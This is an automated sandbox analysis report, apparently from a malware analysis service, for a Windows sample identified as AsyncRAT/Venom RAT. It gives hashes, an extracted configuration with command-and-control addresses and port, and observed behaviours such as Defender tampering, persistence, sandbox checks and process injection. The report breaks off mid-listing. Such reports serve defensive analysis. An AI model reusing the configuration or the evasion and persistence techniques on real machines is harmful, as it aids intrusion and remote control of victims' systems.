Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
16-12-2024 15:56
General
-
Target
Client.exe
-
Size
74KB
-
MD5
ff9957be040ba821afc9248d7f3c9e74
-
SHA1
19bf5b47a05a06f8c448286979c17364df9b9d8a
-
SHA256
f0de46c374e87a43f8e8d977ed7920271beb883f0cc19492698301ea412498e5
-
SHA512
2b283049ffaecb665006453bf5757ea7adc95a678ded145285bf8529a824a1ec10d1e92c319553d436d4aea4e665fe995db6748a22fa72898faf8adbeef17703
-
SSDEEP
1536:SUaAcx2l/Cx2PMVie9VdQuDI6H1bf/3EQzcuLVclN:SUDcx2Bq2PMVie9VdQsH1bffEQnBY
Malware Config
Extracted
asyncrat
Venom RAT + HVNC + Stealer + Grabber v6.0.3
Linas
127.0.0.1:4449
185.241.61.180:4449
lxvckrzncz
-
delay
1
-
install
true
-
install_file
Defender.exe
-
install_folder
%AppData%
Signatures
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Asyncrat family
-
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection powershell.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2620 created 712 2620 powershell.exe 7 -
Async RAT payload 1 IoCs
resource yara_rule behavioral1/files/0x001b00000002ab4f-12.dat family_asyncrat -
Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Executes dropped EXE 1 IoCs
pid Process 2244 Defender.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
pid Process 2448 powershell.exe -
Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\D: explorer.exe File opened (read-only) \??\F: explorer.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2244 set thread context of 1412 2244 Defender.exe 88 -
Launches sc.exe 3 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4168 sc.exe 4464 sc.exe 2404 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe -
Checks SCSI registry key(s) 3 TTPs 22 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2616 timeout.exe -
Modifies data under HKEY_USERS 46 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe -
Modifies registry class 19 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Key created \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\MuiCache MiniSearchHost.exe Set value (data) \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" BackgroundTransferHost.exe Key created \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\MuiCache BackgroundTransferHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\UserStartTime = "133727767258620983" explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\PastIconsStream = 1400000005000000010001000200000014000000494c200602000400440010001000ffffffff2110ffffffffffffffff424d360000000000000036000000280000001000000040000000010020000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000060000000ff00000060000000000000000000000020000000b0000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff00000060000000200000000000000020000000f00d0d0df09d9d9dffc8c8c8ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ff8f8f8fff000000ff000000603f3f3f66000000ff00000060000000900a0a0af0c0c0c0ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5e5ffe5e5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explorer.exe Key created \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify explorer.exe Key created \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix BackgroundTransferHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" BackgroundTransferHost.exe Set value (data) \REGISTRY\USER\S-1-5-21-4249425805-3408538557-1766626484-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\IconStreams = 140000000700000001000100050000001400000050003a005c00480066007200650066005c004e0071007a00760061005c004e006300630051006e0067006e005c005900620070006e0079005c005a00760070006500620066006200730067005c00420061007200510065007600690072005c00420061007200510065007600690072002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f50100000000000000000000e8070a00420061007200510065007600690072000a0041006200670020006600760074006100720071002000760061000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000003c384f78b218db0100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000e8070a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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explorer.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4249425805-3408538557-1766626484-1000\{53A95537-24C7-4AEB-980B-2AB3DE6954D7} explorer.exe -
Runs net.exe
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1464 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 33 IoCs
pid Process 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 3644 Client.exe 2244 Defender.exe 2244 Defender.exe 2244 Defender.exe 2244 Defender.exe 2244 Defender.exe 2620 powershell.exe 2620 powershell.exe 2620 powershell.exe 2620 powershell.exe 2448 powershell.exe 2448 powershell.exe 2448 powershell.exe 2244 Defender.exe 2244 Defender.exe 2244 Defender.exe 2244 Defender.exe -
Suspicious use of AdjustPrivilegeToken 58 IoCs
description pid Process Token: SeDebugPrivilege 3644 Client.exe Token: SeDebugPrivilege 2244 Defender.exe Token: SeShutdownPrivilege 2932 explorer.exe Token: SeCreatePagefilePrivilege 2932 explorer.exe Token: SeShutdownPrivilege 2932 explorer.exe Token: SeCreatePagefilePrivilege 2932 explorer.exe Token: SeShutdownPrivilege 2932 explorer.exe Token: SeCreatePagefilePrivilege 2932 explorer.exe Token: SeShutdownPrivilege 2932 explorer.exe Token: SeCreatePagefilePrivilege 2932 explorer.exe Token: SeShutdownPrivilege 2932 explorer.exe Token: SeCreatePagefilePrivilege 2932 explorer.exe Token: SeShutdownPrivilege 2932 explorer.exe Token: SeCreatePagefilePrivilege 2932 explorer.exe Token: SeShutdownPrivilege 2932 explorer.exe Token: SeCreatePagefilePrivilege 2932 explorer.exe Token: SeShutdownPrivilege 2932 explorer.exe Token: SeCreatePagefilePrivilege 2932 explorer.exe Token: SeShutdownPrivilege 2932 explorer.exe Token: SeCreatePagefilePrivilege 2932 explorer.exe Token: SeDebugPrivilege 2620 powershell.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 1888 whoami.exe Token: SeDebugPrivilege 2448 powershell.exe Token: SeDebugPrivilege 2100 whoami.exe Token: SeDebugPrivilege 2100 whoami.exe Token: SeDebugPrivilege 2100 whoami.exe Token: SeDebugPrivilege 2100 whoami.exe Token: SeDebugPrivilege 2100 whoami.exe Token: SeDebugPrivilege 2100 whoami.exe Token: SeDebugPrivilege 2100 whoami.exe Token: SeDebugPrivilege 2100 whoami.exe Token: SeShutdownPrivilege 2932 explorer.exe Token: SeCreatePagefilePrivilege 2932 explorer.exe -
Suspicious use of FindShellTrayWindow 27 IoCs
pid Process 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe -
Suspicious use of SendNotifyMessage 22 IoCs
pid Process 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe 2932 explorer.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2244 Defender.exe 2420 MiniSearchHost.exe 1216 StartMenuExperienceHost.exe -
Suspicious use of WriteProcessMemory 46 IoCs
description pid Process procid_target PID 3644 wrote to memory of 4948 3644 Client.exe 77 PID 3644 wrote to memory of 4948 3644 Client.exe 77 PID 3644 wrote to memory of 4708 3644 Client.exe 78 PID 3644 wrote to memory of 4708 3644 Client.exe 78 PID 4708 wrote to memory of 2616 4708 cmd.exe 81 PID 4708 wrote to memory of 2616 4708 cmd.exe 81 PID 4948 wrote to memory of 1464 4948 cmd.exe 82 PID 4948 wrote to memory of 1464 4948 cmd.exe 82 PID 4708 wrote to memory of 2244 4708 cmd.exe 83 PID 4708 wrote to memory of 2244 4708 cmd.exe 83 PID 2244 wrote to memory of 2932 2244 Defender.exe 87 PID 2244 wrote to memory of 2932 2244 Defender.exe 87 PID 2244 wrote to memory of 1412 2244 Defender.exe 88 PID 2244 wrote to memory of 1412 2244 Defender.exe 88 PID 2244 wrote to memory of 1412 2244 Defender.exe 88 PID 2244 wrote to memory of 1412 2244 Defender.exe 88 PID 2244 wrote to memory of 1412 2244 Defender.exe 88 PID 2244 wrote to memory of 1412 2244 Defender.exe 88 PID 2244 wrote to memory of 1412 2244 Defender.exe 88 PID 2244 wrote to memory of 1412 2244 Defender.exe 88 PID 2244 wrote to memory of 2620 2244 Defender.exe 95 PID 2244 wrote to memory of 2620 2244 Defender.exe 95 PID 2620 wrote to memory of 4168 2620 powershell.exe 97 PID 2620 wrote to memory of 4168 2620 